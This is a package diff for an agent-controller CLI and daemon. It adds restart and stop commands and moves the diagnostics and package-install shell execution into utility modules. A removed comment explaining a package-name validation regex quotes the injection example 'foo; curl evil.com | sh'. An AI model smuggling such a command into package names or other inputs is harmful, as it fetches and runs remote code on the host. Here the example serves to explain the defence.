,CAAC;QACH,OAAO,CAAC,GAAG,CAAC,8BAA8B,EAAE,IAAI,OAAO,KAAK,CAAC,CAAC;QAC9D,MAAM,SAAS,GAAG,MAAM,aAAa,CAAC,EAAE,EAAE,OAAO,CAAC,CAAC;QAEnD,IAAI,CAAC,SAAS,EAAE,CAAC;YACf,OAAO,CAAC,GAAG,CAAC,mBAAmB,EAAE,IAAI,OAAO,mCAAmC,CAAC,CAAC;YACjF,OAAO,CAAC,GAAG,CAAC,sBAAsB,CAAC,CAAC;YACpC,OAAO;QACT,CAAC;QAED,wEAAwE;QACxE,OAAO,CAAC,GAAG,CAAC,oEAAoE,CAAC,CAAC;QAClF,OAAO,CAAC,GAAG,CAAC,sBAAsB,CAAC,CAAC;IACtC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,2BAA2B,GAAG,EAAE,CAAC,CAAC;QAChD,YAAY,EAAE,IAAI,CAAC,0BAA0B,EAAE,OAAO,EAAE,0BAA0B,EAAE;YAClF,EAAE;YACF,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;QACH,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}

package/dist/commands/restart-cli.d.ts

@@ -0,0 +1 @@
+export declare function runRestartCli(): Promise<void>;

package/dist/commands/restart-cli.js

@@ -0,0 +1,26 @@
+import { restartGateway } from '../utils/gateway-restart.js';
+import { logCollector } from '../connection.js';
+import { toErrorMessage } from '../utils/response.js';
+// ---------------------------------------------------------------------------
+// CLI entrypoint for `agent-controller restart`. Mirrors the WS handler at
+// src/handlers/restart.ts: best-effort gateway restart with structured stdout.
+// ---------------------------------------------------------------------------
+export async function runRestartCli() {
+    console.log('[restart] restarting openclaw gateway...');
+    logCollector?.push('restart_cli_start', 'info', 'restart CLI invoked', {});
+    try {
+        const { stdout, stderr } = await restartGateway();
+        if (stdout)
+            console.log(stdout);
+        if (stderr)
+            console.error(stderr);
+        console.log('[restart] done');
+    }
+    catch (err) {
+        const msg = toErrorMessage(err);
+        console.error(`[restart] failed: ${msg}`);
+        logCollector?.push('restart_cli_failed', 'error', 'restart CLI failed', { error: msg });
+        process.exit(1);
+    }
+}
+//# sourceMappingURL=restart-cli.js.map

package/dist/commands/restart-cli.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"restart-cli.js","sourceRoot":"","sources":["../../src/commands/restart-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,2EAA2E;AAC3E,+EAA+E;AAC/E,8EAA8E;AAE9E,MAAM,CAAC,KAAK,UAAU,aAAa;IACjC,OAAO,CAAC,GAAG,CAAC,0CAA0C,CAAC,CAAC;IACxD,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,qBAAqB,EAAE,EAAE,CAAC,CAAC;IAE3E,IAAI,CAAC;QACH,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,MAAM,cAAc,EAAE,CAAC;QAClD,IAAI,MAAM;YAAE,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QAChC,IAAI,MAAM;YAAE,OAAO,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;QAClC,OAAO,CAAC,GAAG,CAAC,gBAAgB,CAAC,CAAC;IAChC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,qBAAqB,GAAG,EAAE,CAAC,CAAC;QAC1C,YAAY,EAAE,IAAI,CAAC,oBAAoB,EAAE,OAAO,EAAE,oBAAoB,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QACxF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}

package/dist/commands/stop-cli.d.ts

@@ -0,0 +1,6 @@
+/**
+ * Internal seam — wraps `process.kill` so tests can swap in a stub without
+ * mocking the global. Exported for testing only.
+ */
+export declare const _killProcess: (pid: number, signal: NodeJS.Signals) => void;
+export declare function runStopCli(): Promise<void>;

package/dist/commands/stop-cli.js

@@ -0,0 +1,62 @@
+import { isLockFilePresent, readLockFilePid } from '../lockfile.js';
+import { logCollector } from '../connection.js';
+import { toErrorMessage } from '../utils/response.js';
+// ---------------------------------------------------------------------------
+// CLI entrypoint for `agent-controller stop`. The WS handler at
+// src/handlers/stop.ts gracefully shuts down the running agent-controller
+// process — the CLI can't do that directly because it's a separate
+// short-lived process, so we signal the running daemon instead.
+//
+// Strategy (option B from the design discussion):
+//   1. Read the lockfile (~/.openclaw/agent-controller/agent-controller.lock
+//      or /opt/openclaw-cloud/agent-controller/agent-controller.lock) to
+//      find the daemon PID.
+//   2. Send SIGTERM. The daemon's normal shutdown path runs.
+//   3. Exit 0 once the signal is sent — we don't wait for the daemon to
+//      actually exit because the supervisor (systemd/launchd/k8s) will
+//      decide whether to restart it.
+//
+// Failure modes:
+//   - No lockfile / daemon not running → exit 0 with a "not running" log
+//   - Lockfile exists but PID is gone (stale) → exit 0, hint to remove lock
+//   - kill(pid, SIGTERM) throws → exit 1 (permission, etc.)
+// ---------------------------------------------------------------------------
+const STOP_SIGNAL = 'SIGTERM';
+/**
+ * Internal seam — wraps `process.kill` so tests can swap in a stub without
+ * mocking the global. Exported for testing only.
+ */
+export const _killProcess = (pid, signal) => {
+    process.kill(pid, signal);
+};
+export async function runStopCli() {
+    logCollector?.push('stop_cli_start', 'info', 'stop CLI invoked', {});
+    if (!isLockFilePresent()) {
+        console.log('[stop] agent-controller is not running (no lock file found)');
+        return;
+    }
+    const pid = readLockFilePid();
+    if (pid === null) {
+        console.log('[stop] lock file present but PID could not be read — daemon may have crashed; ' +
+            'remove the lock file manually if you are sure no controller is running');
+        return;
+    }
+    console.log(`[stop] sending ${STOP_SIGNAL} to agent-controller (pid ${pid})...`);
+    try {
+        _killProcess(pid, STOP_SIGNAL);
+    }
+    catch (err) {
+        const e = err;
+        if (e.code === 'ESRCH') {
+            console.log(`[stop] process ${pid} not found — daemon already exited; lock file may be stale`);
+            return;
+        }
+        const msg = toErrorMessage(err);
+        console.error(`[stop] failed to signal pid ${pid}: ${msg}`);
+        logCollector?.push('stop_cli_failed', 'error', 'stop CLI failed', { pid, error: msg });
+        process.exit(1);
+    }
+    console.log(`[stop] signal delivered to pid ${pid}`);
+    console.log('[stop] done');
+}
+//# sourceMappingURL=stop-cli.js.map

package/dist/commands/stop-cli.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"stop-cli.js","sourceRoot":"","sources":["../../src/commands/stop-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,iBAAiB,EAAE,eAAe,EAAE,MAAM,gBAAgB,CAAC;AACpE,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,gEAAgE;AAChE,0EAA0E;AAC1E,mEAAmE;AACnE,gEAAgE;AAChE,EAAE;AACF,kDAAkD;AAClD,6EAA6E;AAC7E,yEAAyE;AACzE,4BAA4B;AAC5B,6DAA6D;AAC7D,wEAAwE;AACxE,uEAAuE;AACvE,qCAAqC;AACrC,EAAE;AACF,iBAAiB;AACjB,yEAAyE;AACzE,4EAA4E;AAC5E,4DAA4D;AAC5D,8EAA8E;AAE9E,MAAM,WAAW,GAAmB,SAAS,CAAC;AAE9C;;;GAGG;AACH,MAAM,CAAC,MAAM,YAAY,GAAG,CAAC,GAAW,EAAE,MAAsB,EAAQ,EAAE;IACxE,OAAO,CAAC,IAAI,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;AAC5B,CAAC,CAAC;AAEF,MAAM,CAAC,KAAK,UAAU,UAAU;IAC9B,YAAY,EAAE,IAAI,CAAC,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,EAAE,CAAC,CAAC;IAErE,IAAI,CAAC,iBAAiB,EAAE,EAAE,CAAC;QACzB,OAAO,CAAC,GAAG,CAAC,6DAA6D,CAAC,CAAC;QAC3E,OAAO;IACT,CAAC;IAED,MAAM,GAAG,GAAG,eAAe,EAAE,CAAC;IAC9B,IAAI,GAAG,KAAK,IAAI,EAAE,CAAC;QACjB,OAAO,CAAC,GAAG,CACT,gFAAgF;YAC9E,wEAAwE,CAC3E,CAAC;QACF,OAAO;IACT,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,kBAAkB,WAAW,6BAA6B,GAAG,MAAM,CAAC,CAAC;IACjF,IAAI,CAAC;QACH,YAAY,CAAC,GAAG,EAAE,WAAW,CAAC,CAAC;IACjC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,CAAC,GAAG,GAA4B,CAAC;QACvC,IAAI,CAAC,CAAC,IAAI,KAAK,OAAO,EAAE,CAAC;YACvB,OAAO,CAAC,GAAG,CACT,kBAAkB,GAAG,4DAA4D,CAClF,CAAC;YACF,OAAO;QACT,CAAC;QACD,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,+BAA+B,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QAC5D,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,OAAO,EAAE,iBAAiB,EAAE,EAAE,GAAG,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QACvF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,kCAAkC,GAAG,EAAE,CAAC,CAAC;IACrD,OAAO,CAAC,GAAG,CAAC,aAAa,CAAC,CAAC;AAC7B,CAAC"}

package/dist/handlers/diagnostics.js

@@ -1,27 +1,5 @@
-import { exec } from 'node:child_process';
 import { logCollector } from '../connection.js';
-const DIAGNOSTICS_TIMEOUT = 10_000;
-const ALLOWED_CHECKS = {
-    disk_usage: 'df -h',
-    memory_info: 'free -m || vm_stat',
-    uptime: 'uptime',
-    gateway_status: 'openclaw gateway status --json',
-    node_version: 'node --version',
-    controller_version: 'npm list -g @openclaw-cloud/agent-controller --depth=0',
-    processes: 'ps aux --sort=-rss | head -20',
-};
-function runCheck(cmd) {
-    return new Promise((resolve) => {
-        exec(cmd, { timeout: DIAGNOSTICS_TIMEOUT }, (error, stdout, stderr) => {
-            resolve({
-                stdout: stdout.toString(),
-                stderr: stderr.toString(),
-                success: !error,
-                ...(error ? { error: error.message } : {}),
-            });
-        });
-    });
-}
+import { runDiagnostics } from '../utils/diagnostics.js';
 export async function handleDiagnostics(command) {
     const startMs = Date.now();
     logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
@@ -38,15 +16,7 @@ export async function handleDiagnostics(command) {
             error: 'Missing "checks" array in payload',
         };
     }
-    const results = {};
-    for (const key of checks) {
-        const cmd = ALLOWED_CHECKS[key];
-        if (!cmd) {
-            results[key] = { error: 'Unknown check' };
-            continue;
-        }
-        results[key] = await runCheck(cmd);
-    }
+    const results = await runDiagnostics(checks);
     const durationMs = Date.now() - startMs;
     logCollector?.push('command_completed', 'info', `${command.type} completed`, {
         commandId: command.id,

package/dist/handlers/diagnostics.js.map

@@ -1 +1 @@
-{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,OAAqB;IAC3D,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC,MAA8B,CAAC;IAE9D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAClD,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;QACxC,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,4CAA4C,EAC3D,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;QACF,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,aAAa;YACnB,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,mCAAmC;SAC3C,CAAC;IACJ,CAAC;IAED,MAAM,OAAO,GAAG,MAAM,cAAc,CAAC,MAAM,CAAC,CAAC;IAE7C,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,UAAU;KACX,CAAC,CAAC;IACH,OAAO;QACL,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,aAAa;QACnB,OAAO,EAAE,IAAI;QACb,IAAI,EAAE,EAAE,OAAO,EAAE;KAClB,CAAC;AACJ,CAAC"}

package/dist/handlers/package-install.js

@@ -1,30 +1,5 @@
-import { exec } from 'node:child_process';
-import { toErrorMessage } from '../utils/response.js';
 import { logCollector } from '../connection.js';
-const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
-/**
- * Only allow characters that are valid in real package names on apt/npm/pip.
- * This intentionally rejects shell metacharacters (;, |, &, $, `, (, ), <, >, space, …)
- * so that a malicious payload like "foo; curl evil.com | sh" is rejected before
- * it can ever reach the shell.
- *
- * Allowed: letters, digits, @, ., _, /, -, +, :, %  (covers npm scopes, semver
- * ranges like "pkg@^1.2", apt epoch prefixes like "2:pkg", pip extras "pkg[extra]")
- */
-const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
-function isSafePackageName(name) {
-    return SAFE_PACKAGE_NAME_RE.test(name);
-}
-function execPackage(cmd, timeoutMs) {
-    return new Promise((resolve, reject) => {
-        exec(cmd, { timeout: timeoutMs }, (error) => {
-            if (error)
-                reject(error);
-            else
-                resolve();
-        });
-    });
-}
+import { INSTALL_TIMEOUT_MS, installOnePackage, } from '../utils/package-install.js';
 export async function handlePackageInstall(command) {
     const packages = command.payload.packages;
     const apt = packages?.apt ?? [];
@@ -47,28 +22,23 @@ export async function handlePackageInstall(command) {
     const installed = { apt: [], npm: [], pip: [] };
     const errors = [];
     const deadline = Date.now() + INSTALL_TIMEOUT_MS;
-    async function tryInstall(pkg, cmd, type) {
-        // Reject package names containing shell metacharacters before they reach exec().
-        if (!isSafePackageName(pkg)) {
-            errors.push({ name: pkg, error: 'Invalid package name: contains disallowed characters' });
-            return;
-        }
+    async function tryInstall(pkg, manager) {
         const remaining = deadline - Date.now();
         if (remaining <= 0) {
             errors.push({ name: pkg, error: 'Install timeout exceeded' });
             return;
         }
-        try {
-            await execPackage(cmd, remaining);
-            installed[type].push(pkg);
+        const result = await installOnePackage(manager, pkg, remaining);
+        if (result.ok) {
+            installed[manager].push(pkg);
         }
-        catch (err) {
-            errors.push({ name: pkg, error: toErrorMessage(err) });
+        else {
+            errors.push({ name: pkg, error: result.error ?? 'unknown error' });
         }
     }
     // apt: sequential — apt-get uses a global lock that prevents concurrent invocations
     for (const pkg of apt) {
-        await tryInstall(pkg, `apt-get install -y ${pkg}`, 'apt');
+        await tryInstall(pkg, 'apt');
     }
     // npm and pip: parallel within each type — independent registries, no global lock
     await Promise.all(npm.map(async (pkg) => {
@@ -78,7 +48,7 @@ export async function handlePackageInstall(command) {
             package: pkg,
         });
         const prevErrors = errors.length;
-        await tryInstall(pkg, `npm install -g ${pkg}`, 'npm');
+        await tryInstall(pkg, 'npm');
         if (errors.length > prevErrors) {
             logCollector?.push('package_install_step', 'error', `npm: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
                 commandId: command.id,
@@ -94,7 +64,7 @@ export async function handlePackageInstall(command) {
             package: pkg,
         });
         const prevErrors = errors.length;
-        await tryInstall(pkg, `pip install ${pkg}`, 'pip');
+        await tryInstall(pkg, 'pip');
         if (errors.length > prevErrors) {
             logCollector?.push('package_install_step', 'error', `pip: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
                 commandId: command.id,

package/dist/handlers/package-install.js.map

@@ -1 +1 @@
-{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"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"}
